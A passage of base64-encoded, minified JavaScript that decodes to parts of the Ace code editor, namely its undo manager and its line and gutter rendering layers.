lpZihvKHQuc3RhcnQsZS5lbmQpPj0wKW0odCxlLC0xKTtlbHNle2lmKCEobyh0LmVuZCxlLnN0YXJ0KTw9MCkpe3ZhciBpLHU7cmV0dXJuIG8oZS5zdGFydCx0LnN0YXJ0KTwwJiYoaT1lLGU9eShlLHQuc3RhcnQpKSxvKGUuZW5kLHQuZW5kKT4wJiYodT15KGUsdC5lbmQpKSxnKHQuZW5kLGUuc3RhcnQsZS5lbmQsLTEpLHUmJiFpJiYoZS5saW5lcz11LmxpbmVzLGUuc3RhcnQ9dS5zdGFydCxlLmVuZD11LmVuZCx1PWUpLFt0LGksdV0uZmlsdGVyKEJvb2xlYW4pfW0oZSx0LC0xKX1yZXR1cm5bdCxlXX1mdW5jdGlvbiBtKGUsdCxuKXtnKGUuc3RhcnQsdC5zdGFydCx0LmVuZCxuKSxnKGUuZW5kLHQuc3RhcnQsdC5lbmQsbil9ZnVuY3Rpb24gZyhlLHQsbixyKXtlLnJvdz09KHI9PTE/dDpuKS5yb3cmJihlLmNvbHVtbis9cioobi5jb2x1bW4tdC5jb2x1bW4pKSxlLnJvdys9cioobi5yb3ctdC5yb3cpfWZ1bmN0aW9uIHkoZSx0KXt2YXIgbj1lLmxpbmVzLHI9ZS5lbmQ7ZS5lbmQ9Zih0KTt2YXIgaT1lLmVuZC5yb3ctZS5zdGFydC5yb3cscz1uLnNwbGljZShpLG4ubGVuZ3RoKSxvPWk/dC5jb2x1bW46dC5jb2x1bW4tZS5zdGFydC5jb2x1bW47bi5wdXNoKHNbMF0uc3Vic3RyaW5nKDAsbykpLHNbMF09c1swXS5zdWJzdHIobyk7dmFyIHU9e3N0YXJ0OmYodCksZW5kOnIsbGluZXM6cyxhY3Rpb246ZS5hY3Rpb259O3JldHVybiB1fWZ1bmN0aW9uIGIoZSx0KXt0PWwodCk7Zm9yKHZhciBuPWUubGVuZ3RoO24tLTspe3ZhciByPWVbbl07Zm9yKHZhciBpPTA7aTxyLmxlbmd0aDtpKyspe3ZhciBzPXJbaV0sbz12KHMsdCk7dD1vWzBdLG8ubGVuZ3RoIT0yJiYob1syXT8oci5zcGxpY2UoaSsxLDEsb1sxXSxvWzJdKSxpKyspOm9bMV18fChyLnNwbGljZShpLDEpLGktLSkpfXIubGVuZ3RofHxlLnNwbGljZShuLDEpfXJldHVybiBlfWZ1bmN0aW9uIHcoZSx0KXtmb3IodmFyIG49MDtuPHQubGVuZ3RoO24rKyl7dmFyIHI9dFtuXTtmb3IodmFyIGk9MDtpPHIubGVuZ3RoO2krKyliKGUscltpXSl9fXZhciByPWZ1bmN0aW9uKCl7dGhpcy4kbWF4UmV2PTAsdGhpcy4kZnJvbVVuZG89ITEsdGhpcy4kdW5kb0RlcHRoPUluZmluaXR5LHRoaXMucmVzZXQoKX07KGZ1bmN0aW9uKCl7dGhpcy5hZGRTZXNzaW9uPWZ1bmN0aW9uKGUpe3RoaXMuJHNlc3Npb249ZX0sdGhpcy5hZGQ9ZnVuY3Rpb24oZSx0LG4pe2lmKHRoaXMuJGZyb21VbmRvKXJldHVybjtpZihlPT10aGlzLiRsYXN0RGVsdGEpcmV0dXJuO3RoaXMuJGtlZXBSZWRvU3RhY2t8fCh0aGlzLiRyZWRvU3RhY2subGVuZ3RoPTApO2lmKHQ9PT0hMXx8IXRoaXMubGFzdERlbHRhcyl7dGhpcy5sYXN0RGVsdGFzPVtdO3ZhciByPXRoaXMuJHVuZG9TdGFjay5sZW5ndGg7cj50aGlzLiR1bmRvRGVwdGgtMSYmdGhpcy4kdW5kb1N0YWNrLnNwbGljZSgwLHItdGhpcy4kdW5kb0RlcHRoKzEpLHRoaXMuJHVuZG9TdGFjay5wdXNoKHRoaXMubGFzdERlbHRhcyksZS5pZD10aGlzLiRyZXY9Kyt0aGlzLiRtYXhSZXZ9aWYoZS5hY3Rpb249PSJyZW1vdmUifHxlLmFjdGlvbj09Imluc2VydCIpdGhpcy4kbGFzdERlbHRhPWU7dGhpcy5sYXN0RGVsdGFzLnB1c2goZSl9LHRoaXMuYWRkU2VsZWN0aW9uPWZ1bmN0aW9uKGUsdCl7dGhpcy5zZWxlY3Rpb25zLnB1c2goe3ZhbHVlOmUscmV2OnR8fHRoaXMuJHJldn0pfSx0aGlzLnN0YXJ0TmV3R3JvdXA9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5sYXN0RGVsdGFzPW51bGwsdGhpcy4kcmV2fSx0aGlzLm1hcmtJZ25vcmVkPWZ1bmN0aW9uKGUsdCl7dD09bnVsbCYmKHQ9dGhpcy4kcmV2KzEpO3ZhciBuPXRoaXMuJHVuZG9TdGFjaztmb3IodmFyIHI9bi5sZW5ndGg7ci0tOyl7dmFyIGk9bltyXVswXTtpZihpLmlkPD1lKWJyZWFrO2kuaWQ8dCYmKGkuaWdub3JlPSEwKX10aGlzLmxhc3REZWx0YXM9bnVsbH0sdGhpcy5nZXRTZWxlY3Rpb249ZnVuY3Rpb24oZSx0KXt2YXIgbj10aGlzLnNlbGVjdGlvbnM7Zm9yKHZhciByPW4ubGVuZ3RoO3ItLTspe3ZhciBpPW5bcl07aWYoaS5yZXY8ZSlyZXR1cm4gdCYmKGk9bltyKzFdKSxpfX0sdGhpcy5nZXRSZXZpc2lvbj1mdW5jdGlvbigpe3JldHVybiB0aGlzLiRyZXZ9LHRoaXMuZ2V0RGVsdGFzPWZ1bmN0aW9uKGUsdCl7dD09bnVsbCYmKHQ9dGhpcy4kcmV2KzEpO3ZhciBuPXRoaXMuJHVuZG9TdGFjayxyPW51bGwsaT0wO2Zvcih2YXIgcz1uLmxlbmd0aDtzLS07KXt2YXIgbz1uW3NdWzBdO28uaWQ8dCYmIXImJihyPXMrMSk7aWYoby5pZDw9ZSl7aT1zKzE7YnJlYWt9fXJldHVybiBuLnNsaWNlKGkscil9LHRoaXMuZ2V0Q2hhbmdlZFJhbmdlcz1mdW5jdGlvbihlLHQpe3Q9PW51bGwmJih0PXRoaXMuJHJldisxKX0sdGhpcy5nZXRDaGFuZ2VkTGluZXM9ZnVuY3Rpb24oZSx0KXt0PT1udWxsJiYodD10aGlzLiRyZXYrMSl9LHRoaXMudW5kbz1mdW5jdGlvbihlLHQpe3RoaXMubGFzdERlbHRhcz1udWxsO3ZhciBuPXRoaXMuJHVuZG9TdGFjaztpZighaShuLG4ubGVuZ3RoKSlyZXR1cm47ZXx8KGU9dGhpcy4kc2Vzc2lvbiksdGhpcy4kcmVkb1N0YWNrQmFzZVJldiE9PXRoaXMuJHJldiYmdGhpcy4kcmVkb1N0YWNrLmxlbmd0aCYmKHRoaXMuJHJlZG9TdGFjaz1bXSksdGhpcy4kZnJvbVVuZG89ITA7dmFyIHI9bi5wb3AoKSxzPW51bGw7cmV0dXJuIHImJihzPWUudW5kb0NoYW5nZXMocix0KSx0aGlzLiRyZWRvU3RhY2sucHVzaChyKSx0aGlzLiRzeW5jUmV2KCkpLHRoaXMuJGZyb21VbmRvPSExLHN9LHRoaXMucmVkbz1mdW5jdGlvbihlLHQpe3RoaXMubGFzdERlbHRhcz1udWxsLGV8fChlPXRoaXMuJHNlc3Npb24pLHRoaXMuJGZyb21VbmRvPSEwO2lmKHRoaXMuJHJlZG9TdGFja0Jhc2VSZXYhPXRoaXMuJHJldil7dmFyIG49dGhpcy5nZXREZWx0YXModGhpcy4kcmVkb1N0YWNrQmFzZVJldix0aGlzLiRyZXYrMSk7dyh0aGlzLiRyZWRvU3RhY2ssbiksdGhpcy4kcmVkb1N0YWNrQmFzZVJldj10aGlzLiRyZXYsdGhpcy4kcmVkb1N0YWNrLmZvckVhY2goZnVuY3Rpb24oZSl7ZVswXS5pZD0rK3RoaXMuJG1heFJldn0sdGhpcyl9dmFyIHI9dGhpcy4kcmVkb1N0YWNrLnBvcCgpLGk9bnVsbDtyZXR1cm4gciYmKGk9ZS5yZWRvQ2hhbmdlcyhyLHQpLHRoaXMuJHVuZG9TdGFjay5wdXNoKHIpLHRoaXMuJHN5bmNSZXYoKSksdGhpcy4kZnJvbVVuZG89ITEsaX0sdGhpcy4kc3luY1Jldj1mdW5jdGlvbigpe3ZhciBlPXRoaXMuJHVuZG9TdGFjayx0PWVbZS5sZW5ndGgtMV0sbj10JiZ0WzBdLmlkfHwwO3RoaXMuJHJlZG9TdGFja0Jhc2VSZXY9bix0aGlzLiRyZXY9bn0sdGhpcy5yZXNldD1mdW5jdGlvbigpe3RoaXMubGFzdERlbHRhcz1udWxsLHRoaXMuJGxhc3REZWx0YT1udWxsLHRoaXMuJHVuZG9TdGFjaz1bXSx0aGlzLiRyZWRvU3RhY2s9W10sdGhpcy4kcmV2PTAsdGhpcy5tYXJrPTAsdGhpcy4kcmVkb1N0YWNrQmFzZVJldj10aGlzLiRyZXYsdGhpcy5zZWxlY3Rpb25zPVtdfSx0aGlzLmNhblVuZG89ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kdW5kb1N0YWNrLmxlbmd0aD4wfSx0aGlzLmNhblJlZG89ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kcmVkb1N0YWNrLmxlbmd0aD4wfSx0aGlzLmJvb2ttYXJrPWZ1bmN0aW9uKGUpe2U9PXVuZGVmaW5lZCYmKGU9dGhpcy4kcmV2KSx0aGlzLm1hcms9ZX0sdGhpcy5pc0F0Qm9va21hcms9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kcmV2PT09dGhpcy5tYXJrfSx0aGlzLnRvSlNPTj1mdW5jdGlvbigpe30sdGhpcy5mcm9tSlNPTj1mdW5jdGlvbigpe30sdGhpcy5oYXNVbmRvPXRoaXMuY2FuVW5kbyx0aGlzLmhhc1JlZG89dGhpcy5jYW5SZWRvLHRoaXMuaXNDbGVhbj10aGlzLmlzQXRCb29rbWFyayx0aGlzLm1hcmtDbGVhbj10aGlzLmJvb2ttYXJrLHRoaXMuJHByZXR0eVByaW50PWZ1bmN0aW9uKGUpe3JldHVybiBlP2MoZSk6Yyh0aGlzLiR1bmRvU3RhY2spKyJcbi0tLVxuIitjKHRoaXMuJHJlZG9TdGFjayl9fSkuY2FsbChyLnByb3RvdHlwZSk7dmFyIHM9ZSgiLi9yYW5nZSIpLlJhbmdlLG89cy5jb21wYXJlUG9pbnRzLHU9cy5jb21wYXJlUG9pbnRzO3QuVW5kb01hbmFnZXI9cn0pLGRlZmluZSgiYWNlL2xheWVyL2xpbmVzIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL2xpYi9kb20iXSxmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO3ZhciByPWUoIi4uL2xpYi9kb20iKSxpPWZ1bmN0aW9uKGUsdCl7dGhpcy5lbGVtZW50PWUsdGhpcy5jYW52YXNIZWlnaHQ9dHx8NWU1LHRoaXMuZWxlbWVudC5zdHlsZS5oZWlnaHQ9dGhpcy5jYW52YXNIZWlnaHQqMisicHgiLHRoaXMuY2VsbHM9W10sdGhpcy5jZWxsQ2FjaGU9W10sdGhpcy4kb2Zmc2V0Q29lZmZpY2llbnQ9MH07KGZ1bmN0aW9uKCl7dGhpcy5tb3ZlQ29udGFpbmVyPWZ1bmN0aW9uKGUpe3IudHJhbnNsYXRlKHRoaXMuZWxlbWVudCwwLC0oZS5maXJzdFJvd1NjcmVlbiplLmxpbmVIZWlnaHQldGhpcy5jYW52YXNIZWlnaHQpLWUub2Zmc2V0KnRoaXMuJG9mZnNldENvZWZmaWNpZW50KX0sdGhpcy5wYWdlQ2hhbmdlZD1mdW5jdGlvbihlLHQpe3JldHVybiBNYXRoLmZsb29yKGUuZmlyc3RSb3dTY3JlZW4qZS5saW5lSGVpZ2h0L3RoaXMuY2FudmFzSGVpZ2h0KSE9PU1hdGguZmxvb3IodC5maXJzdFJvd1NjcmVlbip0LmxpbmVIZWlnaHQvdGhpcy5jYW52YXNIZWlnaHQpfSx0aGlzLmNvbXB1dGVMaW5lVG9wPWZ1bmN0aW9uKGUsdCxuKXt2YXIgcj10LmZpcnN0Um93U2NyZWVuKnQubGluZUhlaWdodCxpPU1hdGguZmxvb3Ioci90aGlzLmNhbnZhc0hlaWdodCkscz1uLmRvY3VtZW50VG9TY3JlZW5Sb3coZSwwKSp0LmxpbmVIZWlnaHQ7cmV0dXJuIHMtaSp0aGlzLmNhbnZhc0hlaWdodH0sdGhpcy5jb21wdXRlTGluZUhlaWdodD1mdW5jdGlvbihlLHQsbil7cmV0dXJuIHQubGluZUhlaWdodCpuLmdldFJvd0xpbmVDb3VudChlKX0sdGhpcy5nZXRMZW5ndGg9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5jZWxscy5sZW5ndGh9LHRoaXMuZ2V0PWZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmNlbGxzW2VdfSx0aGlzLnNoaWZ0PWZ1bmN0aW9uKCl7dGhpcy4kY2FjaGVDZWxsKHRoaXMuY2VsbHMuc2hpZnQoKSl9LHRoaXMucG9wPWZ1bmN0aW9uKCl7dGhpcy4kY2FjaGVDZWxsKHRoaXMuY2VsbHMucG9wKCkpfSx0aGlzLnB1c2g9ZnVuY3Rpb24oZSl7aWYoQXJyYXkuaXNBcnJheShlKSl7dGhpcy5jZWxscy5wdXNoLmFwcGx5KHRoaXMuY2VsbHMsZSk7dmFyIHQ9ci5jcmVhdGVGcmFnbWVudCh0aGlzLmVsZW1lbnQpO2Zvcih2YXIgbj0wO248ZS5sZW5ndGg7bisrKXQuYXBwZW5kQ2hpbGQoZVtuXS5lbGVtZW50KTt0aGlzLmVsZW1lbnQuYXBwZW5kQ2hpbGQodCl9ZWxzZSB0aGlzLmNlbGxzLnB1c2goZSksdGhpcy5lbGVtZW50LmFwcGVuZENoaWxkKGUuZWxlbWVudCl9LHRoaXMudW5zaGlmdD1mdW5jdGlvbihlKXtpZihBcnJheS5pc0FycmF5KGUpKXt0aGlzLmNlbGxzLnVuc2hpZnQuYXBwbHkodGhpcy5jZWxscyxlKTt2YXIgdD1yLmNyZWF0ZUZyYWdtZW50KHRoaXMuZWxlbWVudCk7Zm9yKHZhciBuPTA7bjxlLmxlbmd0aDtuKyspdC5hcHBlbmRDaGlsZChlW25dLmVsZW1lbnQpO3RoaXMuZWxlbWVudC5maXJzdENoaWxkP3RoaXMuZWxlbWVudC5pbnNlcnRCZWZvcmUodCx0aGlzLmVsZW1lbnQuZmlyc3RDaGlsZCk6dGhpcy5lbGVtZW50LmFwcGVuZENoaWxkKHQpfWVsc2UgdGhpcy5jZWxscy51bnNoaWZ0KGUpLHRoaXMuZWxlbWVudC5pbnNlcnRBZGphY2VudEVsZW1lbnQoImFmdGVyYmVnaW4iLGUuZWxlbWVudCl9LHRoaXMubGFzdD1mdW5jdGlvbigpe3JldHVybiB0aGlzLmNlbGxzLmxlbmd0aD90aGlzLmNlbGxzW3RoaXMuY2VsbHMubGVuZ3RoLTFdOm51bGx9LHRoaXMuJGNhY2hlQ2VsbD1mdW5jdGlvbihlKXtpZighZSlyZXR1cm47ZS5lbGVtZW50LnJlbW92ZSgpLHRoaXMuY2VsbENhY2hlLnB1c2goZSl9LHRoaXMuY3JlYXRlQ2VsbD1mdW5jdGlvbihlLHQsbixpKXt2YXIgcz10aGlzLmNlbGxDYWNoZS5wb3AoKTtpZighcyl7dmFyIG89ci5jcmVhdGVFbGVtZW50KCJkaXYiKTtpJiZpKG8pLHRoaXMuZWxlbWVudC5hcHBlbmRDaGlsZChvKSxzPXtlbGVtZW50Om8sdGV4dDoiIixyb3c6ZX19cmV0dXJuIHMucm93PWUsc319KS5jYWxsKGkucHJvdG90eXBlKSx0LkxpbmVzPWl9KSxkZWZpbmUoImFjZS9sYXllci9ndXR0ZXIiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL2RvbSIsImFjZS9saWIvb29wIiwiYWNlL2xpYi9sYW5nIiwiYWNlL2xpYi9ldmVudF9lbWl0dGVyIiwiYWNlL2xheWVyL2xpbmVzIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0IjtmdW5jdGlvbiBmKGUpe3ZhciB0PWRvY3VtZW50LmNyZWF0ZVRleHROb2RlKCIiKTtlLmFwcGVuZENoaWxkKHQpO3ZhciBuPXIuY3JlYXRlRWxlbWVudCgic3BhbiIpO3JldHVybiBlLmFwcGVuZENoaWxkKG4pLGV9dmFyIHI9ZSgiLi4vbGliL2RvbSIpLGk9ZSgiLi4vbGliL29vcCIpLHM9ZSgiLi4vbGliL2xhbmciKSxvPWUoIi4uL2xpYi9ldmVudF9lbWl0dGVyIikuRXZlbnRFbWl0dGVyLHU9ZSgiLi9saW5lcyIpLkxpbmVzLGE9ZnVuY3Rpb24oZSl7dGhpcy5lbGVtZW50PXIuY3JlYXRlRWxlbWVudCgiZGl2IiksdGhpcy5lbGVtZW50LmNsYXNzTmFtZT0iYWNlX2xheWVyIGFjZV9ndXR0ZXItbGF5ZXIiLGUuYXBwZW5kQ2hpbGQodGhpcy5lbGVtZW50KSx0aGlzLnNldFNob3dGb2xkV2lkZ2V0cyh0aGlzLiRzaG93Rm9sZFdpZGdldHMpLHRoaXMuZ3V0dGVyV2lkdGg9MCx0aGlzLiRhbm5vdGF0aW9ucz1bXSx0aGlzLiR1cGRhdGVBbm5vdGF0aW9ucz10aGlzLiR1cGRhdGVBbm5vdGF0aW9ucy5iaW5kKHRoaXMpLHRoaXMuJGxpbmVzPW5ldyB1KHRoaXMuZWxlbWVudCksdGhpcy4kbGluZXMuJG9mZnNldENvZWZmaWNpZW50PTF9OyhmdW5jdGlvbigpe2kuaW1wbGVtZW50KHRoaXMsbyksdGhpcy5zZXRTZXNzaW9uPWZ1bmN0aW9uKGUpe3RoaXMuc2Vzc2lvbiYmdGhpcy5zZXNzaW9uLm9mZigiY2hhbmdlIix0aGlzLiR1cGRhdGVBbm5vdGF0aW9ucyksdGhpcy5zZXNzaW9uPWUsZSYmZS5vbigiY2hhbmdlIix0aGlzLiR1cGRhdGVBbm5vdGF0aW9ucyl9LHRoaXMuYWRkR3V0dGVyRGVjb3JhdGlvbj1mdW5jdGlvbihlLHQpe3dpbmRvdy5jb25zb2xlJiZjb25zb2xlLndhcm4mJmNvbnNvbGUud2FybigiZGVwcmVjYXRlZCB1c2Ugc2Vzc2lvbi5hZGRHdXR0ZXJEZWNvcmF0aW9uIiksdGhpcy5zZXNzaW9uLmFkZEd1dHRlckRlY29yYXRpb24oZSx0KX0sdGhpcy5yZW1vdmVHdXR0ZXJEZWNvcmF0aW9uPWZ1bmN0aW9uKGUsdCl7d2luZG93LmNvbnNvbGUmJmNvbnNvbGUud2FybiYmY29uc29sZS53YXJuKCJkZXByZWNhdGVkIHVzZSBzZXNzaW9uLnJlbW92ZUd1dHRlckRlY29yYXRpb24iKSx0aGlzLnNlc3Npb24ucmVtb3ZlR3V0dGVyRGVjb3JhdGlvbihlLHQpfSx0aGlzLnNldEFubm90YXRpb25zPWZ1bmN0aW9uKGUpe3RoaXMuJGFubm90YXRpb25zPVtdO2Zvcih2YXIgdD0wO3Q8ZS5sZW5ndGg7dCsrKXt2YXIgbj1lW3RdLHI9bi5yb3csaT10aGlzLiRhbm5vdGF0aW9uc1tyXTtpfHwoaT10aGlzLiRhbm5vdGF0aW9uc1tyXT17dGV4dDpbXX0pO3ZhciBvPW4udGV4dDtvPW8/cy5lc2NhcGVIVE1MKG8pOm4uaHRtbHx8IiIsaS50ZXh0LmluZGV4T2Yobyk9PT0tMSYmaS50ZXh0LnB1c2gobyk7dmFyIHU9bi50eXBlLGE9bi5jbGFzc05hbWU7YT9pLmNsYXNzTmFtZT1hOnU9PSJlcnJvciI/aS5jbGFzc05hbWU9IiBhY2VfZXJyb3IiOnU9PSJ3YXJuaW5nIiYmaS5jbGFzc05hbWUhPSIgYWNlX2Vycm9yIj9pLmNsYXNzTmFtZT0iIGFjZV93YXJuaW5nIjp1PT0iaW5mbyImJiFpLmNsYXNzTmFtZSYmKGkuY2xhc3NOYW1lPSIgYWNlX2luZm8iKX19LHRoaXMuJHVwZGF0ZUFubm90YXRpb25zPWZ1bmN0aW9uKGUpe2lmKCF0aGlzLiRhbm5vdGF0aW9ucy5sZW5ndGgpcmV0dXJuO3ZhciB0PWUuc3RhcnQucm93LG49ZS5lbmQucm93LXQ7aWYobiE9PTApaWYoZS5hY3Rpb249PSJyZW1vdmUiKXRoaXMuJGFubm90YXRpb25zLnNwbGljZSh0LG4rMSxudWxsKTtlbHNle3ZhciByPW5ldyBBcnJheShuKzEpO3IudW5zaGlmdCh0LDEpLHRoaXMuJGFubm90YXRpb25zLnNwbGljZS5hcHBseSh0aGlzLiRhbm5vdGF0aW9ucyxyKX19LHRoaXMudXBkYXRlPWZ1bmN0aW9uKGUpe3RoaXMuY29uZmlnPWU7dmFyIHQ9dGhpcy5zZXNzaW9uLG49ZS5maXJzdFJvdyxyPU1hdGgubWluKGUubGFzdFJvdytlLmd1dHRlck9mZnNldCx0LmdldExlbmd0aCgpLTEpO3RoaXMub2xkTGFzdFJvdz1yLHRoaXMuY29uZmlnPWUsdGhpcy4kbGluZXMubW92ZUNvbnRhaW5lcihlKSx0aGlzLiR1cGRhdGVDdXJzb3JSb3coKTt2YXIgaT10LmdldE5leHRGb2xkTGluZShuKSxzPWk/aS5zdGFydC5yb3c6SW5maW5pdHksbz1udWxsLHU9LTEsYT1uO2Zvcig7Oyl7YT5zJiYoYT1pLmVuZC5yb3crMSxpPXQuZ2V0TmV4dEZvbGRMaW5lKGEsaSkscz1pP2kuc3RhcnQucm93OkluZmluaXR5KTtpZihhPnIpe3doaWxlKHRoaXMuJGxpbmVzLmdldExlbmd0aCgpPnUrMSl0aGlzLiRsaW5lcy5wb3AoKTticmVha31vPXRoaXMuJGxpbmVzLmdldCgrK3UpLG8/by5yb3c9YToobz10aGlzLiRsaW5lcy5jcmVhdGVDZWxsKGEsZSx0aGlzLnNlc3Npb24sZiksdGhpcy4kbGluZXMucHVzaChvKSksdGhpcy4kcmVuZGVyQ2VsbChvLGUsaSxhKSxhKyt9dGhpcy5fc2lnbmFsKCJhZnRlclJlbmRlciIpLHRoaXMuJHVwZGF0ZUd1dHRlcldpZHRoKGUpfSx0aGlzLiR1cGRhdGVHdXR0ZXJXaWR0aD1mdW5jdGlvbihlKXt2YXIgdD10aGlzLnNlc3Npb24sbj10Lmd1dHRlclJlbmRlcmVyfHx0aGlzLiRyZW5kZXJlcixyPXQuJGZpcnN0TGluZU51bWJlcixpPXRoaXMuJGxpbmVzLmxhc3QoKT90aGlzLiRsaW5lcy5sYXN0KCkudGV4dDoiIjtpZih0aGlzLiRmaXhlZFdpZHRofHx0LiR1c2VXcmFwTW9kZSlpPXQuZ2V0TGVuZ3RoKCkrci0xO3ZhciBzPW4/bi5nZXRXaWR0aCh0LGksZSk6aS50b1N0cmluZygpLmxlbmd0aCplLmNoYXJhY3RlcldpZHRoLG89dGhpcy4kcGFkZGluZ3x8dGhpcy4kY29tcHV0ZVBhZGRpbmcoKTtzKz1vLmxlZnQrby5yaWdodCxzIT09dGhpcy5ndXR0ZXJXaWR0aCYmIWlzTmFOKHMpJiYodGhpcy5ndXR0ZXJXaWR0aD1zLHRoaXMuZWxlbWVudC5wYXJlbnROb2RlLnN0eWxlLndpZHRoPXRoaXMuZWxlbWVudC5zdHlsZS53aWR0aD1NYXRoLmNlaWwodGhpcy5ndXR0ZXJXaWR0aCkrInB4Iix0aGlzLl9zaWduYWwoImNoYW5nZUd1dHRlcldpZHRoIixzKSl9LHRoaXMuJHVwZGF0ZUN1cnNvclJvdz1mdW5jdGlvbigpe2lmKCF0aGlzLiRoaWdobGlnaHRHdXR0ZXJMaW5lKXJldHVybjt2YXIgZT10aGlzLnNlc3Npb24uc2VsZWN0aW9uLmdldEN1cnNvcigpO2lmKHRoaXMuJGN1cnNvclJvdz09PWUucm93KXJldHVybjt0aGlzLiRjdXJzb3JSb3c9ZS5yb3d9LHRoaXMudXBkYXRlTGluZUhpZ2hsaWdodD1mdW5jdGlvbigpe2lmKCF0aGlzLiRoaWdobGlnaHRHdXR0ZXJMaW5lKXJldHVybjt2YXIgZT10aGlzLnNlc3Npb24uc2VsZWN0aW9uLmN1cnNvci5yb3c7dGhpcy4kY3Vyc29yUm93PWU7aWYodGhpcy4kY3Vyc29yQ2VsbCYmdGhpcy4kY3Vyc29yQ2VsbC5yb3c9PWUpcmV0dXJuO3RoaXMuJGN1cnNvckNlbGwmJih0aGlzLiRjdXJzb3JDZWxsLmVsZW1lbnQuY2xhc3NOYW1lPXRoaXMuJGN1cnNvckNlbGwuZWxlbWVudC5jbGFzc05hbWUucmVwbGFjZSgiYWNlX2d1dHRlci1hY3RpdmUtbGluZSAiLCIiKSk7dmFyIHQ9dGhpcy4kbGluZXMuY2VsbHM7dGhpcy4kY3Vyc29yQ2VsbD1udWxsO2Zvcih2YXIgbj0wO248dC5sZW5ndGg7bisrKXt2YXIgcj10W25dO2lmKHIucm93Pj10aGlzLiRjdXJzb3JSb3cpe2lmKHIucm93PnRoaXMuJGN1cnNvclJvdyl7dmFyIGk9dGhpcy5zZXNzaW9uLmdldEZvbGRMaW5lKHRoaXMuJGN1cnNvclJvdyk7aWYoIShuPjAmJmkmJmkuc3RhcnQucm93PT10W24tMV0ucm93KSlicmVhaztyPXRbbi0xXX1yLmVsZW1lbnQuY2xhc3NOYW1lPSJhY2VfZ3V0dGVyLWFjdGl2ZS1saW5lICIrci5lbGVtZW50LmNsYXNzTmFtZSx0aGlzLiRjdXJzb3JDZWxsPXI7YnJlYWt9fX0sdGhpcy5zY3JvbGxMaW5lcz1mdW5jdGlvbihlKXt2YXIgdD10aGlzLmNvbmZpZzt0aGlzLmNvbmZpZz1lLHRoaXMuJHVwZGF0ZUN1cnNvclJvdygpO2lmKHRoaXMuJGxpbmVzLnBhZ2VDaGFuZ2VkKHQsZSkpcmV0dXJuIHRoaXMudXBkYXRlKGUpO3RoaXMuJGxpbmVzLm1vdmVDb250YWluZXIoZSk7dmFyIG49TWF0aC5taW4oZS5sYXN0Um93K2UuZ3V0dGVyT2Zmc2V0LHRoaXMuc2Vzc2lvbi5nZXRMZW5ndGgoKS0xKSxyPXRoaXMub2xkTGFzdFJvdzt0aGlzLm9sZExhc3RSb3c9bjtpZighdHx8cjxlLmZpcnN0Um93KXJldHVybiB0aGlzLnVwZGF0ZShlKTtpZihuPHQuZmlyc3RSb3cpcmV0dXJuIHRoaXMudXBkYXRlKGUpO2lmKHQuZmlyc3RSb3c8ZS5maXJzdFJvdylmb3IodmFyIGk9dGhpcy5zZXNzaW9uLmdldEZvbGRlZFJvd0NvdW50KHQuZmlyc3RSb3csZS5maXJzdFJvdy0xKTtpPjA7aS0tKXRoaXMuJGxpbmVzLnNoaWZ0KCk7aWYocj5uKWZvcih2YXIgaT10aGlzLnNlc3Npb24uZ2V0Rm9sZGVkUm93Q291bnQobisxLHIpO2k+MDtpLS0pdGhpcy4kbGluZXMucG9wKCk7ZS5maXJzdFJvdzx0LmZpcnN0Um93JiZ0aGlzLiRsaW5lcy51bnNoaWZ0KHRoaXMuJHJlbmRlckxpbmVzKGUsZS5maXJzdFJvdyx0LmZpcnN0Um93LTEpKSxuPnImJnRoaXMuJGxpbmVzLnB1c2godGhpcy4kcmVuZGVyTGluZXMoZSxyKzEsbikpLHRoaXMudXBkYXRlTGluZUhpZ2hsaWdodCgpLHRoaXMuX3NpZ25hbCgiYWZ0ZXJSZW5kZXIiKSx0aGlzLiR1cGRhdGVHdXR0ZXJXaWR0aChlKX0sdGhpcy4kcmVuZGVyTGluZXM9ZnVuY3Rpb24oZSx0LG4pe3ZhciByPVtdLGk9dCxzPXRoaXMuc2Vzc2lvbi5nZXROZXh0Rm9sZExpbmUoaSksbz1zP3Muc3RhcnQucm93OkluZmluaXR5O2Zvcig7Oyl7aT5vJiYoaT1zLmVuZC5yb3crMSxzPXRoaXMuc2Vzc2lvbi5nZXROZXh0Rm9sZExpbmUoaSxzKSxvPXM/cy5zdGFydC5yb3c6SW5maW5pdHkpO2lmKGk+bilicmVhazt2YXIgdT10aGlzLiRsaW5lcy5jcmVhdGVDZWxsKGksZSx0aGlzLnNlc3Npb24sZik7dGhpcy4kcmVuZGVyQ2VsbCh1LGUscyxpKSxyLnB1c2godSksaSsrfXJldHVybiByfSx0aGlzLiRyZW5kZXJDZWxsPWZ1bmN0aW9uKGUsdCxuLGkpe3ZhciBzPWUuZWxlbWVudCxvPXRoaXMuc2Vzc2lvbix1PXMuY2hpbGROb2Rlc1swXSxhPXMuY2hpbGROb2Rlc1sxXSxmPW8uJGZpcnN0TGluZU51bWJlcixsPW8uJGJyZWFrcG9pbnRzLGM9by4kZGVjb3JhdGlvbnMsaD1vLmd1dHRlclJlbmRlcmVyfHx0aGlzLiRyZW5kZXJlcixwPXRoaXMuJHNob3dGb2xkV2lkZ2V0cyYmby5mb2xkV2lkZ2V0cyxkPW4/bi5zdGFydC5yb3c6TnVtYmVyLk1BWF9WQUxVRSx2PSJhY2VfZ3V0dGVyLWNlbGwgIjt0aGlzLiRoaWdobGlnaHRHdXR0ZXJMaW5lJiYoaT09dGhpcy4kY3Vyc29yUm93fHxuJiZpPHRoaXMuJGN1cnNvclJvdyYmaT49ZCYmdGhpcy4kY3Vyc29yUm93PD1uLmVuZC5yb3cpJiYodis9ImFjZV9ndXR0ZXItYWN0aXZlLWxpbmUgIix0aGlzLiRjdXJzb3JDZWxsIT1lJiYodGhpcy4kY3Vyc29yQ2VsbCYmKHRoaXMuJGN1cnNvckNlbGwuZWxlbWVudC5jbGFzc05hbWU9dGhpcy4kY3Vyc29yQ2VsbC5lbGVtZW50LmNsYXNzTmFtZS5yZXBsYWNlKCJhY2VfZ3V0dGVyLWFjdG